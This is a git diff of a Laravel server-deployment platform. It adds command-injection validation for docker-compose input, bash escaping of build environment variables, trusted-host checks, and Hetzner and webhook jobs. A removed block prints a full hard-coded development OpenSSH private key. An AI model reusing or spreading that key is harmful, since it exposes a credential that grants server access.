response: 422, + ref: '#/components/responses/422', + ), ] )] public function delete_project(Request $request) @@ -487,6 +503,10 @@ public function delete_project(Request $request) response: 404, description: 'Project not found.', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function get_environments(Request $request) @@ -566,6 +586,10 @@ public function get_environments(Request $request) response: 409, description: 'Environment with this name already exists.', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function create_environment(Request $request) @@ -663,6 +687,10 @@ public function create_environment(Request $request) response: 404, description: 'Project or environment not found.', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function delete_environment(Request $request) diff --git a/app/Http/Controllers/Api/SecurityController.php b/app/Http/Controllers/Api/SecurityController.php index 55a6cd9f4..e7b36cb9a 100644 --- a/app/Http/Controllers/Api/SecurityController.php +++ b/app/Http/Controllers/Api/SecurityController.php @@ -163,6 +163,10 @@ public function key_by_uuid(Request $request) response: 400, ref: '#/components/responses/400', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function create_key(Request $request) @@ -282,6 +286,10 @@ public function create_key(Request $request) response: 400, ref: '#/components/responses/400', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function update_key(Request $request) diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index cbd20400a..06baf2dde 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -447,6 +447,10 @@ public function domains_by_server(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function create_server(Request $request) @@ -604,6 +608,10 @@ public function create_server(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function update_server(Request $request) @@ -722,6 +730,10 @@ public function update_server(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function delete_server(Request $request) @@ -746,7 +758,13 @@ public function delete_server(Request $request) return response()->json(['message' => 'Local server cannot be deleted.'], 400); } $server->delete(); - DeleteServer::dispatch($server); + DeleteServer::dispatch( + $server->id, + false, // Don't delete from Hetzner via API + $server->hetzner_server_id, + $server->cloud_provider_token_id, + $server->team_id + ); return response()->json(['message' => 'Server deleted.']); } @@ -790,6 +808,10 @@ public function delete_server(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function validate_server(Request $request) diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index e240e326e..b3565a933 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -235,6 +235,10 @@ public function services(Request $request) response: 400, ref: '#/components/responses/400', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function create_service(Request $request) @@ -324,9 +328,23 @@ public function create_service(Request $request) }); } if ($oneClickService) { - $service_payload = [ + $dockerComposeRaw = base64_decode($oneClickService); + + // Validate for command injection BEFORE creating service + try { + validateDockerComposeForInjection($dockerComposeRaw); + } catch (\Exception $e) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'docker_compose_raw' => $e->getMessage(), + ], + ], 422); + } + + $servicePayload = [ 'name' => "$oneClickServiceName-".str()->random(10), - 'docker_compose_raw' => base64_decode($oneClickService), + 'docker_compose_raw' => $dockerComposeRaw, 'environment_id' => $environment->id, 'service_type' => $oneClickServiceName, 'server_id' => $server->id, @@ -334,9 +352,9 @@ public function create_service(Request $request) 'destination_type' => $destination->getMorphClass(), ]; if ($oneClickServiceName === 'cloudflared') { - data_set($service_payload, 'connect_to_docker_network', true); + data_set($servicePayload, 'connect_to_docker_network', true); } - $service = Service::create($service_payload); + $service = Service::create($servicePayload); $service->name = "$oneClickServiceName-".$service->uuid; $service->save(); if ($oneClickDotEnvs?->count() > 0) { @@ -458,6 +476,18 @@ public function create_service(Request $request) $dockerCompose = base64_decode($request->docker_compose_raw); $dockerComposeRaw = Yaml::dump(Yaml::parse($dockerCompose), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK); + // Validate for command injection BEFORE saving to database + try { + validateDockerComposeForInjection($dockerComposeRaw); + } catch (\Exception $e) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'docker_compose_raw' => $e->getMessage(), + ], + ], 422); + } + $connectToDockerNetwork = $request->connect_to_docker_network ?? false; $instantDeploy = $request->instant_deploy ?? false; @@ -704,6 +734,10 @@ public function delete_by_uuid(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function update_by_uuid(Request $request) @@ -769,6 +803,19 @@ public function update_by_uuid(Request $request) } $dockerCompose = base64_decode($request->docker_compose_raw); $dockerComposeRaw = Yaml::dump(Yaml::parse($dockerCompose), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK); + + // Validate for command injection BEFORE saving to database + try { + validateDockerComposeForInjection($dockerComposeRaw); + } catch (\Exception $e) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'docker_compose_raw' => $e->getMessage(), + ], + ], 422); + } + $service->docker_compose_raw = $dockerComposeRaw; } @@ -954,6 +1001,10 @@ public function envs(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function update_env_by_uuid(Request $request) @@ -1075,6 +1126,10 @@ public function update_env_by_uuid(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function create_bulk_envs(Request $request) @@ -1191,6 +1246,10 @@ public function create_bulk_envs(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function create_env(Request $request) diff --git a/app/Http/Kernel.php b/app/Http/Kernel.php index e9d7b82b2..515d40c62 100644 --- a/app/Http/Kernel.php +++ b/app/Http/Kernel.php @@ -14,7 +14,7 @@ class Kernel extends HttpKernel * @var array */ protected $middleware = [ - // \App\Http\Middleware\TrustHosts::class, + \App\Http\Middleware\TrustHosts::class, \App\Http\Middleware\TrustProxies::class, \Illuminate\Http\Middleware\HandleCors::class, \App\Http\Middleware\PreventRequestsDuringMaintenance::class, diff --git a/app/Http/Middleware/TrustHosts.php b/app/Http/Middleware/TrustHosts.php index c9c58bddc..c2a2cb41a 100644 --- a/app/Http/Middleware/TrustHosts.php +++ b/app/Http/Middleware/TrustHosts.php @@ -2,7 +2,10 @@ namespace App\Http\Middleware; +use App\Models\InstanceSettings; use Illuminate\Http\Middleware\TrustHosts as Middleware; +use Illuminate\Support\Facades\Cache; +use Spatie\Url\Url; class TrustHosts extends Middleware { @@ -13,8 +16,37 @@ class TrustHosts extends Middleware */ public function hosts(): array { - return [ - $this->allSubdomainsOfApplicationUrl(), - ]; + $trustedHosts = []; + + // Trust the configured FQDN from InstanceSettings (cached to avoid DB query on every request) + // Use empty string as sentinel value instead of null so negative results are cached + $fqdnHost = Cache::remember('instance_settings_fqdn_host', 300, function () { + try { + $settings = InstanceSettings::get(); + if ($settings && $settings->fqdn) { + $url = Url::fromString($settings->fqdn); + $host = $url->getHost(); + + return $host ?: ''; + } + } catch (\Exception $e) { + // If instance settings table doesn't exist yet (during installation), + // return empty string (sentinel) so this result is cached + } + + return ''; + }); + + // Convert sentinel value back to null for consumption + $fqdnHost = $fqdnHost !== '' ? $fqdnHost : null; + + if ($fqdnHost) { + $trustedHosts[] = $fqdnHost; + } + + // Trust all subdomains of APP_URL as fallback + $trustedHosts[] = $this->allSubdomainsOfApplicationUrl(); + + return array_filter($trustedHosts); } } diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 8ffaabde5..a624348c0 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -484,9 +484,18 @@ private function deploy_simple_dockerfile() ); $this->generate_image_names(); $this->generate_compose_file(); + + // Save build-time .env file BEFORE the build + $this->save_buildtime_environment_variables(); + $this->generate_build_env_variables(); $this->add_build_env_variables_to_dockerfile(); $this->build_image(); + + // Save runtime environment variables AFTER the build + // This overwrites the build-time .env with ALL variables (build-time + runtime) + $this->save_runtime_environment_variables(); + $this->push_to_docker_registry(); $this->rolling_update(); } @@ -1310,12 +1319,18 @@ private function save_runtime_environment_variables() private function generate_buildtime_environment_variables() { + if (isDev()) { + $this->application_deployment_queue->addLogEntry('[DEBUG] ========================================'); + $this->application_deployment_queue->addLogEntry('[DEBUG] Generating build-time environment variables'); + $this->application_deployment_queue->addLogEntry('[DEBUG] ========================================'); + } + $envs = collect([]); $coolify_envs = $this->generate_coolify_env_variables(); // Add COOLIFY variables $coolify_envs->each(function ($item, $key) use ($envs) { - $envs->push($key.'='.$item); + $envs->push($key.'='.escapeBashEnvValue($item)); }); // Add SERVICE_NAME variables for Docker Compose builds @@ -1329,7 +1344,7 @@ private function generate_buildtime_environment_variables() } $services = data_get($dockerCompose, 'services', []); foreach ($services as $serviceName => $_) { - $envs->push('SERVICE_NAME_'.str($serviceName)->upper().'='.$serviceName); + $envs->push('SERVICE_NAME_'.str($serviceName)->upper().'='.escapeBashEnvValue($serviceName)); } // Generate SERVICE_FQDN & SERVICE_URL for non-PR deployments @@ -1342,8 +1357,8 @@ private function generate_buildtime_environment_variables() $coolifyScheme = $coolifyUrl->getScheme(); $coolifyFqdn = $coolifyUrl->getHost(); $coolifyUrl = $coolifyUrl->withScheme($coolifyScheme)->withHost($coolifyFqdn)->withPort(null); - $envs->push('SERVICE_URL_'.str($forServiceName)->upper().'='.$coolifyUrl->__toString()); - $envs->push('SERVICE_FQDN_'.str($forServiceName)->upper().'='.$coolifyFqdn); + $envs->push('SERVICE_URL_'.str($forServiceName)->upper().'='.escapeBashEnvValue($coolifyUrl->__toString())); + $envs->push('SERVICE_FQDN_'.str($forServiceName)->upper().'='.escapeBashEnvValue($coolifyFqdn)); } } } else { @@ -1351,7 +1366,7 @@ private function generate_buildtime_environment_variables() $rawDockerCompose = Yaml::parse($this->application->docker_compose_raw); $rawServices = data_get($rawDockerCompose, 'services', []); foreach ($rawServices as $rawServiceName => $_) { - $envs->push('SERVICE_NAME_'.str($rawServiceName)->upper().'='.addPreviewDeploymentSuffix($rawServiceName, $this->pull_request_id)); + $envs->push('SERVICE_NAME_'.str($rawServiceName)->upper().'='.escapeBashEnvValue(addPreviewDeploymentSuffix($rawServiceName, $this->pull_request_id))); } // Generate SERVICE_FQDN & SERVICE_URL for preview deployments with PR-specific domains @@ -1364,8 +1379,8 @@ private function generate_buildtime_environment_variables() $coolifyScheme = $coolifyUrl->getScheme(); $coolifyFqdn = $coolifyUrl->getHost(); $coolifyUrl = $coolifyUrl->withScheme($coolifyScheme)->withHost($coolifyFqdn)->withPort(null); - $envs->push('SERVICE_URL_'.str($forServiceName)->upper().'='.$coolifyUrl->__toString()); - $envs->push('SERVICE_FQDN_'.str($forServiceName)->upper().'='.$coolifyFqdn); + $envs->push('SERVICE_URL_'.str($forServiceName)->upper().'='.escapeBashEnvValue($coolifyUrl->__toString())); + $envs->push('SERVICE_FQDN_'.str($forServiceName)->upper().'='.escapeBashEnvValue($coolifyFqdn)); } } } @@ -1387,7 +1402,32 @@ private function generate_buildtime_environment_variables() } foreach ($sorted_environment_variables as $env) { - $envs->push($env->key.'='.$env->real_value); + // For literal/multiline vars, real_value includes quotes that we need to remove + if ($env->is_literal || $env->is_multiline) { + // Strip outer quotes from real_value and apply proper bash escaping + $value = trim($env->real_value, "'"); + $escapedValue = escapeBashEnvValue($value); + $envs->push($env->key.'='.$escapedValue); + + if (isDev()) { + $this->application_deployment_queue->addLogEntry("[DEBUG] Build-time env: {$env->key}"); + $this->application_deployment_queue->addLogEntry('[DEBUG] Type: literal/multiline'); + $this->application_deployment_queue->addLogEntry("[DEBUG] raw real_value: {$env->real_value}"); + $this->application_deployment_queue->addLogEntry("[DEBUG] stripped value: {$value}"); + $this->application_deployment_queue->addLogEntry("[DEBUG] final escaped: {$escapedValue}"); + } + } else { + // For normal vars, use double quotes to allow $VAR expansion + $escapedValue = escapeBashDoubleQuoted($env->real_value); + $envs->push($env->key.'='.$escapedValue); + + if (isDev()) { + $this->application_deployment_queue->addLogEntry("[DEBUG] Build-time env: {$env->key}"); + $this->application_deployment_queue->addLogEntry('[DEBUG] Type: normal (allows expansion)'); + $this->application_deployment_queue->addLogEntry("[DEBUG] real_value: {$env->real_value}"); + $this->application_deployment_queue->addLogEntry("[DEBUG] final escaped: {$escapedValue}"); + } + } } } else { $sorted_environment_variables = $this->application->environment_variables_preview() @@ -1404,11 +1444,42 @@ private function generate_buildtime_environment_variables() } foreach ($sorted_environment_variables as $env) { - $envs->push($env->key.'='.$env->real_value); + // For literal/multiline vars, real_value includes quotes that we need to remove + if ($env->is_literal || $env->is_multiline) { + // Strip outer quotes from real_value and apply proper bash escaping + $value = trim($env->real_value, "'"); + $escapedValue = escapeBashEnvValue($value); + $envs->push($env->key.'='.$escapedValue); + + if (isDev()) { + $this->application_deployment_queue->addLogEntry("[DEBUG] Build-time env: {$env->key}"); + $this->application_deployment_queue->addLogEntry('[DEBUG] Type: literal/multiline'); + $this->application_deployment_queue->addLogEntry("[DEBUG] raw real_value: {$env->real_value}"); + $this->application_deployment_queue->addLogEntry("[DEBUG] stripped value: {$value}"); + $this->application_deployment_queue->addLogEntry("[DEBUG] final escaped: {$escapedValue}"); + } + } else { + // For normal vars, use double quotes to allow $VAR expansion + $escapedValue = escapeBashDoubleQuoted($env->real_value); + $envs->push($env->key.'='.$escapedValue); + + if (isDev()) { + $this->application_deployment_queue->addLogEntry("[DEBUG] Build-time env: {$env->key}"); + $this->application_deployment_queue->addLogEntry('[DEBUG] Type: normal (allows expansion)'); + $this->application_deployment_queue->addLogEntry("[DEBUG] real_value: {$env->real_value}"); + $this->application_deployment_queue->addLogEntry("[DEBUG] final escaped: {$escapedValue}"); + } + } } } // Return the generated environment variables + if (isDev()) { + $this->application_deployment_queue->addLogEntry('[DEBUG] ========================================'); + $this->application_deployment_queue->addLogEntry("[DEBUG] Total build-time env variables: {$envs->count()}"); + $this->application_deployment_queue->addLogEntry('[DEBUG] ========================================'); + } + return $envs; } @@ -1432,9 +1503,9 @@ private function save_buildtime_environment_variables() 'hidden' => true, ], ); - } elseif ($this->build_pack === 'dockercompose') { - // For Docker Compose, create an empty .env file even if there are no build-time variables - // This ensures the file exists when referenced in docker-compose commands + } elseif ($this->build_pack === 'dockercompose' || $this->build_pack === 'dockerfile') { + // For Docker Compose and Dockerfile, create an empty .env file even if there are no build-time variables + // This ensures the file exists when referenced in build commands $this->application_deployment_queue->addLogEntry('Creating empty build-time .env file in /artifacts (no build-time variables defined).', hidden: true); $this->execute_remote_command( @@ -1888,9 +1959,27 @@ private function check_git_if_build_needed() ); } if ($this->saved_outputs->get('git_commit_sha') && ! $this->rollback) { - $this->commit = $this->saved_outputs->get('git_commit_sha')->before("\t"); - $this->application_deployment_queue->commit = $this->commit; - $this->application_deployment_queue->save(); + // Extract commit SHA from git ls-remote output, handling multi-line output (e.g., redirect warnings) + // Expected format: "commit_sha\trefs/heads/branch" possibly preceded by warning lines + // Note: Git warnings can be on the same line as the result (no newline) + $lsRemoteOutput = $this->saved_outputs->get('git_commit_sha'); + + // Find the part containing a tab (the actual ls-remote result) + // Handle cases where warning is on the same line as the result + if ($lsRemoteOutput->contains("\t")) { + // Get everything from the last occurrence of a valid commit SHA pattern before the tab + // A valid commit SHA is 40 hex characters + $output = $lsRemoteOutput->value(); + + // Extract the line with the tab (actual ls-remote result) + preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches); + + if (isset($matches[1])) { + $this->commit = $matches[1]; + $this->application_deployment_queue->commit = $this->commit; + $this->application_deployment_queue->save(); + } + } } $this->set_coolify_variables(); @@ -1905,7 +1994,7 @@ private function clone_repository() { $importCommands = $this->generate_git_import_commands(); $this->application_deployment_queue->addLogEntry("\n----------------------------------------"); - $this->application_deployment_queue->addLogEntry("Importing {$this->customRepository}:{$this->application->git_branch} (commit sha {$this->application->git_commit_sha}) to {$this->basedir}."); + $this->application_deployment_queue->addLogEntry("Importing {$this->customRepository}:{$this->application->git_branch} (commit sha {$this->commit}) to {$this->basedir}."); if ($this->pull_request_id !== 0) { $this->application_deployment_queue->addLogEntry("Checking out tag pull/{$this->pull_request_id}/head."); } @@ -2701,10 +2790,12 @@ private function build_image() ] ); } + $publishDir = trim($this->application->publish_directory, '/'); + $publishDir = $publishDir ? "/{$publishDir}" : ''; $dockerfile = base64_encode("FROM {$this->application->static_image} WORKDIR /usr/share/nginx/html/ LABEL coolify.deploymentId={$this->deployment_uuid} -COPY --from=$this->build_image_name /app/{$this->application->publish_directory} . +COPY --from=$this->build_image_name /app{$publishDir} . COPY ./nginx.conf /etc/nginx/conf.d/default.conf"); if (str($this->application->custom_nginx_configuration)->isNotEmpty()) { $nginx_config = base64_encode($this->application->custom_nginx_configuration); @@ -3196,7 +3287,7 @@ private function add_build_env_variables_to_dockerfile() } $dockerfile_base64 = base64_encode($dockerfile->implode("\n")); - $this->application_deployment_queue->addLogEntry('Final Dockerfile:', type: 'info'); + $this->application_deployment_queue->addLogEntry('Final Dockerfile:', type: 'info', hidden: true); $this->execute_remote_command( [ executeInDocker($this->deployment_uuid, "echo '{$dockerfile_base64}' | base64 -d | tee {$this->workdir}{$this->dockerfile_location} > /dev/null"), diff --git a/app/Jobs/ApplicationPullRequestUpdateJob.php b/app/Jobs/ApplicationPullRequestUpdateJob.php index 471edb4c6..d2e3cc964 100755 --- a/app/Jobs/ApplicationPullRequestUpdateJob.php +++ b/app/Jobs/ApplicationPullRequestUpdateJob.php @@ -35,20 +35,24 @@ public function handle() if ($this->application->is_public_repository()) { return; } + + $serviceName = $this->application->name; + if ($this->status === ProcessStatus::CLOSED) { $this->delete_comment(); return; - } elseif ($this->status === ProcessStatus::IN_PROGRESS) { - $this->body = "The preview deployment is in progress. 🟡\n\n"; - } elseif ($this->status === ProcessStatus::FINISHED) { - $this->body = "The preview deployment is ready. 🟢\n\n"; - if ($this->preview->fqdn) { - $this->body .= "[Open Preview]({$this->preview->fqdn}) | "; - } - } elseif ($this->status === ProcessStatus::ERROR) { - $this->body = "The preview deployment failed. 🔴\n\n"; } + + match ($this->status) { + ProcessStatus::QUEUED => $this->body = "The preview deployment for **{$serviceName}** is queued. ⏳\n\n", + ProcessStatus::IN_PROGRESS => $this->body = "The preview deployment for **{$serviceName}** is in progress. 🟡\n\n", + ProcessStatus::FINISHED => $this->body = "The preview deployment for **{$serviceName}** is ready. 🟢\n\n".($this->preview->fqdn ? "[Open Preview]({$this->preview->fqdn}) | " : ''), + ProcessStatus::ERROR => $this->body = "The preview deployment for **{$serviceName}** failed. 🔴\n\n", + ProcessStatus::KILLED => $this->body = "The preview deployment for **{$serviceName}** was killed. ⚫\n\n", + ProcessStatus::CANCELLED => $this->body = "The preview deployment for **{$serviceName}** was cancelled. 🚫\n\n", + ProcessStatus::CLOSED => '', // Already handled above, but included for completeness + }; $this->build_logs_url = base_url()."/project/{$this->application->environment->project->uuid}/environment/{$this->application->environment->uuid}/application/{$this->application->uuid}/deployment/{$this->deployment_uuid}"; $this->body .= '[Open Build Logs]('.$this->build_logs_url.")\n\n\n"; diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index 3cc372fd1..11da6fac1 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -69,13 +69,12 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue public $timeout = 3600; - public string $backup_log_uuid; + public ?string $backup_log_uuid = null; public function __construct(public ScheduledDatabaseBackup $backup) { $this->onQueue('high'); $this->timeout = $backup->timeout; - $this->backup_log_uuid = (string) new Cuid2; } public function handle(): void diff --git a/app/Jobs/RegenerateSslCertJob.php b/app/Jobs/RegenerateSslCertJob.php index cf598c75c..c0284e1ee 100644 --- a/app/Jobs/RegenerateSslCertJob.php +++ b/app/Jobs/RegenerateSslCertJob.php @@ -45,7 +45,7 @@ public function handle() $query->cursor()->each(function ($certificate) use ($regenerated) { try { - $caCert = SslCertificate::where('server_id', $certificate->server_id) + $caCert = $certificate->server->sslCertificates() ->where('is_ca_certificate', true) ->first(); diff --git a/app/Jobs/SendWebhookJob.php b/app/Jobs/SendWebhookJob.php new file mode 100644 index 000000000..607fda3fe --- /dev/null +++ b/app/Jobs/SendWebhookJob.php @@ -0,0 +1,60 @@ +onQueue('high'); + } + + /** + * Execute the job. + */ + public function handle(): void + { + if (isDev()) { + ray('Sending webhook notification', [ + 'url' => $this->webhookUrl, + 'payload' => $this->payload, + ]); + } + + $response = Http::post($this->webhookUrl, $this->payload); + + if (isDev()) { + ray('Webhook response', [ + 'status' => $response->status(), + 'body' => $response->body(), + 'successful' => $response->successful(), + ]); + } + } +} diff --git a/app/Jobs/ServerConnectionCheckJob.php b/app/Jobs/ServerConnectionCheckJob.php index 8b55434f6..9dbce4bfe 100644 --- a/app/Jobs/ServerConnectionCheckJob.php +++ b/app/Jobs/ServerConnectionCheckJob.php @@ -54,6 +54,11 @@ public function handle() return; } + // Check Hetzner server status if applicable + if ($this->server->hetzner_server_id && $this->server->cloudProviderToken) { + $this->checkHetznerStatus(); + } + // Temporarily disable mux if requested if ($this->disableMux) { $this->disableSshMux(); @@ -86,6 +91,11 @@ public function handle() ]); } catch (\Throwable $e) { + + Log::error('ServerConnectionCheckJob failed', [ + 'error' => $e->getMessage(), + 'server_id' => $this->server->id, + ]); $this->server->settings->update([ 'is_reachable' => false, 'is_usable' => false, @@ -95,6 +105,30 @@ public function handle() } } + private function checkHetznerStatus(): void + { + try { + $hetznerService = new \App\Services\HetznerService($this->server->cloudProviderToken->token); + $serverData = $hetznerService->getServer($this->server->hetzner_server_id); + $status = $serverData['status'] ?? null; + + } catch (\Throwable $e) { + Log::debug('ServerConnectionCheck: Hetzner status check failed', [ + 'server_id' => $this->server->id, + 'error' => $e->getMessage(), + ]); + } + if ($this->server->hetzner_server_status !== $status) { + $this->server->update(['hetzner_server_status' => $status]); + $this->server->hetzner_server_status = $status; + if ($status === 'off') { + ray('Server is powered off, marking as unreachable'); + throw new \Exception('Server is powered off'); + } + } + + } + private function checkConnection(): bool { try { diff --git a/app/Jobs/ValidateAndInstallServerJob.php b/app/Jobs/ValidateAndInstallServerJob.php new file mode 100644 index 000000000..388791f10 --- /dev/null +++ b/app/Jobs/ValidateAndInstallServerJob.php @@ -0,0 +1,162 @@ +onQueue('high'); + } + + public function handle(): void + { + try { + // Mark validation as in progress + $this->server->update(['is_validating' => true]); + + Log::info('ValidateAndInstallServer: Starting validation', [ + 'server_id' => $this->server->id, + 'server_name' => $this->server->name, + 'attempt' => $this->numberOfTries + 1, + ]); + + // Validate connection + ['uptime' => $uptime, 'error' => $error] = $this->server->validateConnection(); + if (! $uptime) { + $errorMessage = 'Server is not reachable. Please validate your configuration and connection.
Check this documentation for further help.

Error: '.$error; + $this->server->update([ + 'validation_logs' => $errorMessage, + 'is_validating' => false, + ]); + Log::error('ValidateAndInstallServer: Server not reachable', [ + 'server_id' => $this->server->id, + 'error' => $error, + ]); + + return; + } + + // Validate OS + $supportedOsType = $this->server->validateOS(); + if (! $supportedOsType) { + $errorMessage = 'Server OS type is not supported. Please install Docker manually before continuing: documentation.'; + $this->server->update([ + 'validation_logs' => $errorMessage, + 'is_validating' => false, + ]); + Log::error('ValidateAndInstallServer: OS not supported', [ + 'server_id' => $this->server->id, + ]); + + return; + } + + // Check if Docker is installed + $dockerInstalled = $this->server->validateDockerEngine(); + $dockerComposeInstalled = $this->server->validateDockerCompose(); + + if (! $dockerInstalled || ! $dockerComposeInstalled) { + // Try to install Docker + if ($this->numberOfTries >= $this->maxTries) { + $errorMessage = 'Docker Engine could not be installed after '.$this->maxTries.' attempts. Please install Docker manually before continuing: documentation.'; + $this->server->update([ + 'validation_logs' => $errorMessage, + 'is_validating' => false, + ]); + Log::error('ValidateAndInstallServer: Docker installation failed after max tries', [ + 'server_id' => $this->server->id, + 'attempts' => $this->numberOfTries, + ]); + + return; + } + + Log::info('ValidateAndInstallServer: Installing Docker', [ + 'server_id' => $this->server->id, + 'attempt' => $this->numberOfTries + 1, + ]); + + // Install Docker + $this->server->installDocker(); + + // Retry validation after installation + self::dispatch($this->server, $this->numberOfTries + 1)->delay(now()->addSeconds(30)); + + return; + } + + // Validate Docker version + $dockerVersion = $this->server->validateDockerEngineVersion(); + if (! $dockerVersion) { + $requiredDockerVersion = str(config('constants.docker.minimum_required_version'))->before('.'); + $errorMessage = 'Minimum Docker Engine version '.$requiredDockerVersion.' is not installed. Please install Docker manually before continuing: documentation.'; + $this->server->update([ + 'validation_logs' => $errorMessage, + 'is_validating' => false, + ]); + Log::error('ValidateAndInstallServer: Docker version not sufficient', [ + 'server_id' => $this->server->id, + ]); + + return; + } + + // Validation successful! + Log::info('ValidateAndInstallServer: Validation successful', [ + 'server_id' => $this->server->id, + 'server_name' => $this->server->name, + ]); + + // Start proxy if needed + if (! $this->server->isBuildServer()) { + $proxyShouldRun = CheckProxy::run($this->server, true); + if ($proxyShouldRun) { + StartProxy::dispatch($this->server); + } + } + + // Mark validation as complete + $this->server->update(['is_validating' => false]); + + // Refresh server to get latest state + $this->server->refresh(); + + // Broadcast events to update UI + ServerValidated::dispatch($this->server->team_id, $this->server->uuid); + ServerReachabilityChanged::dispatch($this->server); + + } catch (\Throwable $e) { + Log::error('ValidateAndInstallServer: Exception occurred', [ + 'server_id' => $this->server->id, + 'error' => $e->getMessage(), + 'trace' => $e->getTraceAsString(), + ]); + + $this->server->update([ + 'validation_logs' => 'An error occurred during validation: '.$e->getMessage(), + 'is_validating' => false, + ]); + } + } +} diff --git a/app/Livewire/Boarding/Index.php b/app/Livewire/Boarding/Index.php index 430470fa0..ac2b9213b 100644 --- a/app/Livewire/Boarding/Index.php +++ b/app/Livewire/Boarding/Index.php @@ -16,14 +16,18 @@ class Index extends Component { protected $listeners = ['refreshBoardingIndex' => 'validateServer']; + #[\Livewire\Attributes\Url(as: 'step', history: true)] public string $currentState = 'welcome'; + #[\Livewire\Attributes\Url(keep: true)] public ?string $selectedServerType = null; public ?Collection $privateKeys = null; + #[\Livewire\Attributes\Url(keep: true)] public ?int $selectedExistingPrivateKey = null; + #[\Livewire\Attributes\Url(keep: true)] public ?string $privateKeyType = null; public ?string $privateKey = null; @@ -38,6 +42,7 @@ class Index extends Component public ?Collection $servers = null; + #[\Livewire\Attributes\Url(keep: true)] public ?int $selectedExistingServer = null; public ?string $remoteServerName = null; @@ -58,6 +63,7 @@ class Index extends Component public Collection $projects; + #[\Livewire\Attributes\Url(keep: true)] public ?int $selectedProject = null; public ?Project $createdProject = null; @@ -79,17 +85,68 @@ public function mount() $this->minDockerVersion = str(config('constants.docker.minimum_required_version'))->before('.'); $this->privateKeyName = generate_random_name(); $this->remoteServerName = generate_random_name(); - if (isDev()) { - $this->privateKey = '-----BEGIN OPENSSH PRIVATE KEY----- -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW -QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk -hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA -AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV -uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA== ------END OPENSSH PRIVATE KEY-----'; - $this->privateKeyDescription = 'Created by Coolify'; - $this->remoteServerDescription = 'Created by Coolify'; - $this->remoteServerHost = 'coolify-testing-host'; + + // Initialize collections to avoid null errors + if ($this->privateKeys === null) { + $this->privateKeys = collect(); + } + if ($this->servers === null) { + $this->servers = collect(); + } + if (! isset($this->projects)) { + $this->projects = collect(); + } + + // Restore state when coming from URL with query params + if ($this->selectedServerType === 'localhost' && $this->selectedExistingServer === 0) { + $this->createdServer = Server::find(0); + if ($this->createdServer) { + $this->serverPublicKey = $this->createdServer->privateKey->getPublicKey(); + } + } + + if ($this->selectedServerType === 'remote') { + if ($this->privateKeys->isEmpty()) { + $this->privateKeys = PrivateKey::ownedByCurrentTeam(['name'])->where('id', '!=', 0)->get(); + } + if ($this->servers->isEmpty()) { + $this->servers = Server::ownedByCurrentTeam(['name'])->where('id', '!=', 0)->get(); + } + + if ($this->selectedExistingServer) { + $this->createdServer = Server::find($this->selectedExistingServer); + if ($this->createdServer) { + $this->serverPublicKey = $this->createdServer->privateKey->getPublicKey(); + $this->updateServerDetails(); + } + } + + if ($this->selectedExistingPrivateKey) { + $this->createdPrivateKey = PrivateKey::where('team_id', currentTeam()->id) + ->where('id', $this->selectedExistingPrivateKey) + ->first(); + if ($this->createdPrivateKey) { + $this->privateKey = $this->createdPrivateKey->private_key; + $this->publicKey = $this->createdPrivateKey->getPublicKey(); + } + } + + // Auto-regenerate key pair for "Generate with Coolify" mode on page refresh + if ($this->privateKeyType === 'create' && empty($this->privateKey)) { + $this->createNewPrivateKey(); + } + } + + if ($this->selectedProject) { + $this->createdProject = Project::find($this->selectedProject); + if (! $this->createdProject) { + $this->projects = Project::ownedByCurrentTeam(['name'])->get(); + } + } + + // Load projects when on create-project 